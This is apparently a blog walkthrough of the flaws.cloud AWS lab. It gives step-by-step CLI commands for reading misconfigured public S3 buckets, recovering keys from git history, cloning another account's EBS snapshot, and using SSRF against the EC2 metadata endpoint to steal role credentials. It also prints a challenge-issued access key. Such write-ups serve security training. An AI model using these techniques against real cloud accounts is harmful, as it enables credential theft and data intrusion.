This blog provides a comprehensive walkthrough of flaws.cloud, covering everything from Level 1 to Level 6.

Level 1

This level is *buckets* of fun. See if you can find the first sub-domain.

Regarding URLs, there are three commonly used and helpful commands to gather more information:

host <URL>

nslookup <URL>

dig <URL>

For this particular case, I’ll use the host command, although any of the three options can be effective:

host <URL of this Level>

1. Now, let’s apply the host command to the website “flaws.cloud”:

host flaws.cloud

These DNS server records play a crucial role in resolving domain names to their corresponding IP addresses. It appears that “flaws.cloud” is utilizing Amazon Web Services (AWS) for its DNS hosting, evident from the AWS nameservers (e.g., “awsdns-04.org”, “awsdns-44.co.uk”, “awsdns-56.com”, “awsdns-56.net”) listed in the results.

2. Now, to gather more information about each of the 8 IPv4 addresses, we can create a shell script using the “nano” text editor. Here’s the start of the script:

nano ipv4.sh

#!/bin/bash

# Script to gather information about the IPv4 addresses associated with "flaws.cloud"

# List of IPv4 addresses
ipv4_addresses=(
  52.92.241.35
  52.218.169.90
  52.218.220.58
  52.218.177.66
  52.92.148.43
  52.92.212.147
  52.218.132.74
  52.92.192.243
)

# Loop through each IPv4 address and run "host" command
for ipv4 in "${ipv4_addresses[@]}"; do
  echo "============================="
  echo "Information for IPv4: $ipv4"
  echo "============================="
  host $ipv4
done

To create and edit the script, follow these steps:

1. Open the terminal.
2. Type nano ipv4.sh and press Enter. This will create a new file named “ipv4.sh” and open the nano text editor.
3. Copy and paste the above script into the nano editor.
4. To save the file, press Ctrl + O (Write Out), then press Enter to confirm the filename.
5. To exit nano, press Ctrl + X.

3. Now, we have a shell script named “ipv4.sh” that will loop through the IPv4 addresses associated with “flaws.cloud” and run the host command to gather more information about each IP address. We can execute the script by running ./ipv4.sh in the terminal.

Based on the results from the “host” command, all IPv4 addresses associated with “flaws.cloud” resolve to the domain name “s3-website-us-west-2.amazonaws.com.” This strongly suggests that these IP addresses are associated with AWS S3 buckets used for website hosting in the US West (Oregon) region.

These clues indicate that the website “flaws.cloud” is most likely hosted using AWS S3 buckets in the US West region.

Let’s begin by setting up the AWS CLI on our local machine, allowing us to interact with AWS using a language that AWS understands.

4. To perform actions in the AWS S3 service, we use the following format: aws s3 <Command> [<Arg> ...]. For instance, to list the contents of the ‘flaws.cloud’ S3 bucket, we would execute the following command:

aws s3 ls s3://flaws.cloud

In this scenario, an error is thrown indicating the inability to locate a user. This is because AWS commands typically search for saved credentials or a user to execute the command unless explicitly instructed to run the commands without credentials.

5. Our approach is to attempt the following:

aws s3 ls s3://flaws.cloud --no-sign-request

After using the --no-sign-request option and successfully confirming that the bucket is publicly accessible, we can proceed to copy the entire contents of the bucket to our local machine for further analysis.

6. To accomplish this, we can use the aws s3 sync command, which synchronizes the contents of the specified source (in this case, the publicly accessible S3 bucket) with the specified destination (our local machine).

aws s3 sync s3://flaws.cloud <local_destination_directory>

aws s3 sync s3://flaws.cloud/ --no-sign-request .

7. The trailing "." indicates that all files will be downloaded to the current directory from which the command is executed.

cat secret-dd02c7c.html

As the bucket flaws.cloud is publicly accessible, we can access any file in the bucket using the following URL format:

https://flaws.cloud/<AnyS3_BucketFileName>

Yay! We’ve successfully tackled Level 1.

Level 2

Go the the URL that we learned from Level 1:
http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/

The next level is fairly similar, with a slight twist. You’re going to need your own AWS account for this. You just need the free tier.

1. Let’s begin with the usual steps:

host level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud

nslookup <AnyIPv4 address_FoundAbove>

us with similar indications as in Level 1, indicating that this website or page is hosted on an AWS S3 bucket in the region: us-west-2.

2. Now, let’s attempt to retrieve a list of the contents within this bucket, much like our previous action in Level 1.

aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/

3. Throws a similar error, just as encountered in Level 1. Therefore, we will replicate the steps taken in Level 1, and see where it takes us.

aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/ --no-sign-request

This time, we received a different response, indicating ‘Access Denied’ when trying to list S3 objects. It’s possible that there’s a policy in place to check the caller’s S3 permissions.

To troubleshoot, we can create an IAM User or Role in our account with full S3 permissions and use their credentials to attempt listing the S3 bucket contents again. Depending on the policy’s configuration, it might work with just the caller’s permissions or require both user permission and account number.

For simplicity, I’ll demonstrate how to create an IAM user with full administrator privileges using the AWS Console.

4. Steps: AWS Console Home > IAM > Users > Add users

Let’s generate an access key for our user

5. Let’s set up a User in our terminal:

aws configure --profile <UserName>

6. Let’s give it another shot now:

aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/ --profile <UserName>

Our command was successful, solely verifying the caller’s permissions without matching the caller’s ID to the bucket’s ID.

7. Similar to Level 1, we can now download all bucket files to our local machine:

aws s3 sync s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/ --profile <UserName> .

Hooray! Level 2 has been conquered!

Level 3

Go the the URL that we learned from Level 2:
http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/

The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you’ll find something that will let you list what other buckets are.

1. Let’s begin with the usuals:

host level3-9afd3927f195e10225021a578e6f78df.flaws.cloud

nslookup <AnyIPv4 address_FoundAbove>

2. The clues provided are similar to Level 1 and 2, indicating that this website or page is hosted on an AWS S3 bucket in the us-west-2 region.

aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/

3. Telling AWS to run the command without looking for credentials:

aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ --no-sign-request

We successfully listed the bucket contents.

4. Now, let’s download all the files to our local machine:

aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ --no-sign-request . 

5. I searched through all the files but found nothing helpful. However, I’m not finished yet. What if there are hidden files??? 👀

Looks like there is a hidden file; let’s examine the .git contents now.

6. While my search yielded no useful results, it prompted me to consider the presence of Git versions or branches. I then checked ‘git log’

git log 

7. It appears I was correct; there are 2 available git versions/branches. The current one, “b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526,” doesn’t provide useful information. Let’s switch to the other version/branch, “f52ec03b227ea6094b04e43f475fb0126edb5a61.”

git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61

git log 

8. Let analyze the files again:

This time, we come across something very interesting: “access_keys.txt”

“Let’s utilize the discovered credentials to verify their validity.

9. To proceed, we’ll create a user for it using the command:

aws configure --profile level3

10. Let’s verify its validity:

11. They are valid. With these User credentials, we have numerous options to explore, but since we are testing for S3 bucket vulnerabilities/misconfigurations, we will try to list S3 buckets:

aws s3 ls --profile level3

Yay! We discovered a link to Level 4 amidst the others, but accessing Level5-theend to the end will result in an ‘Access Denied’ error.

Level 4

Go the the URL that we learned from Level 3:
http://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud/

For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
It’ll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.

1. Let’s begin with the basics:

host level4-1156739cfb264ced6de514971a4bef68.flaws.cloud

nslookup <AnyIPv4 address_FoundAbove>

Level 4 Clues: Similar to Levels 1, 2, and 3, the website or page is hosted on an AWS S3 bucket in the us-west-2 region. However, this time, we know the websites are hosted on EC2 Instances, as per the given instructions. It’s worth concentrating on EC2 commands and those providing detailed information about snapshots.

aws ec2 help |grep snapshots

The “aws ec2 describe-snapshots” command does not require any additional parameters and can be called as is. We can use the profile we’ve created at Level 3 to execute the command.

2. To run the command using the specific profile, use the following syntax:

aws ec2 describe-snapshots --profile level3

This will retrieve information about EC2 instance snapshots associated with the AWS account linked to the “level3” profile. Remember that the command will only provide information and not create any snapshots.

3. Provides a wealth of snapshot information; let’s focus only on the relevant ones:

aws sts get-caller-identity --profile level3

Based on the previous command, we identified the User credentials account as 975426262029 at Level 3.

4. To retrieve Volumes exclusively under that account, we can use the –owner-id <account-id> parameter with the –describe-snapshots API.

aws ec2 describe-snapshots --profile level3 --owner-id 975426262029

Now that we have the SnapshotId, we can easily duplicate the Volume into our account.

aws ec2 create-volume --availability-zone <zone> --snapshot-id <SnapshtId> --profile <Our_Account_Creds>

5. We can use the profile that we’ve created in Level 1 with full admin privilages[my_account].

6. Now, let’s verify the cloned/created Volume in our AWS account: Navigate to the AWS Home Console > EC2 > Volumes [us-west-2].

Having acquired the Volume, we can proceed by launching an EC2 instance and then attaching the Volume to inspect its contents.

Note: Remember to launch the EC2 instance with the Subnet: us-west-2a.

7. Before connecting to the instance, let’s proceed with attaching the Volume.

8. Access your instance and view the available volumes using the command:

lsblk

9. Let’s check for Mounted Volumes to our instance:

df -h

It appears that only the EBS volume (/dev/xvda1) is currently mounted, serving as the root volume, while the other entries represent temporary filesystems used by the system.

10. Next, let’s proceed with mounting xvdf1:

sudo mkdir /mnt/my_volume

sudo mount /dev/xvdf1 /mnt/my_volume

11. Now that we’ve successfully mounted the volume, let’s analyze the contents at /mnt/my_volume. Our objective is to find the Username and Password to access the provided URL.

cd /mnt/my_volume

cd home/ubuntu/

ls

cat setupNginx.sh

12. Seems like we have login credentials. Let’s give them a shot:

Great job! Level 4 is complete! Now, let’s move on to Level 5.

Level 5

Go the the URL that we learned from Level 4:
http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/

This EC2 has a simple HTTP only proxy on it. Here are some examples of it’s usage:

• http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/
• http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml
• http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/

See if you can use this proxy to figure out how to list the contents of the level6 bucket at level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud that has a hidden directory in it.

Each URL has the format http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/<AnotherLinkHere>.

Whenever I encounter such URLs, I typically test for SSRF vulnerability. In this case, we’ll attempt to read the EC2 instance’s metadata, which can provide valuable information

1. Let’s include the metadata URI in the provided URL:

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/

Success! It’s working!

2. We need to analyze the folders and files and conduct some Google searches. After dedicating some time to it, I successfully located functional AccessKeys at this address: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/

3. Let’s proceed with setting up a profile. As this is a Role, not a User, we’ll need to create the profile using a Token. To do this, simply edit the credentials file with the following command:

nano ~/.aws/credentials

We learned from Level3:

4. When we try to go to http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/

5. To determine the subdirectory of the URL, let’s try to list the contents of the bucket and download everything to our local machine:

aws s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud --profile level5

aws s3 sync s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud --profile level5 .

6. Inside the ddcc78ff folder, we find hints for Level 6, suggesting it could be the subdirectory we’ve been seeking. Let’s test it out:
level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff

Great! Level 5 is conquered, and we’re moving on to Level 6. Let’s keep up the momentum!

Level 6

Go the the URL that we learned from Level 5:
http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/

For this final challenge, you’re getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account.

Access key ID: AKIAJFQ6E7BY57Q3OBGA
Secret: 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

The security audit template grants access to read security configuration metadata. It is useful for software that audits the configuration of an AWS account.

1. Before anything else, we’ll begin by setting up a profile using the provided access key to gain deeper insights:

aws configure --profile level6

aws sts get-caller-identity --profile level6

Note: user-name is “Level6”

2. Let’s see if we can list the buckets:

aws s3 ls --profile level6

3. Let’s try to go the bucket URL:

Unfortunately, no luck there 🙁

4. Since the access keys provided are for a User, let’s now list the attached Policies:

aws --profile level6 iam list-attached-user-policies --user-name Level6

5. Now, that we know the Policies, let’s check them.

Policy1:

aws iam get-policy --policy-arn arn:aws:iam::975426262029:policy/MySecurityAudit --profile level6

Policy2:

aws iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --profile level6

6. Now that we have identified the Policy version, we can proceed to examine its actual contents:

aws iam get-policy-version --version-id v1 --policy-arn arn:aws:iam::975426262029:policy/MySecurityAudit --profile level6

aws iam get-policy-version --version-id v4 --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --profile level6

Policy2 looks very interesting.

In summary, the policy allows any user or entity associated with it to perform the “GET” action on any API Gateway resource in the specified region. This action is related to retrieving information about API Gateways. As the policy is set as the default version, it is the effective policy for any user or entity with the appropriate IAM permissions attached.

7. With knowledge of the contents of both Policies, there could be a possibility to invoke the API. To explore this further, let’s delve into the topic of lambda functions.

aws lambda list-functions --region us-west-2 --profile level6

8. Now that we have the function’s name, let’s proceed to obtain the Function policy:

aws lambda get-policy --function-name Level6 --region us-west-2 --profile level6

9. Let’s make the Policy for readable:

Now that we have learned the API ID, let’s move on to learning how to invoke it.

In order to invoke the REST API, we can use the following URL format:
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/

We have all the necessary information in the URL, except for the <stage_name>.

10. To retrieve the stages, we can use the following AWS CLI command:

aws apigateway get-stages --rest-api-id "s33ppypa75" --region us-west-2 --profile level6

11. Now that we have all the necessary information, let’s construct the URL:

https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6

Congratulations on completing the last lab! Well done! 🎉👏 If you have any more labs or tasks in the future, don’t hesitate to reach out. I’m here to help whenever you need it. Keep up the great work! 👍😊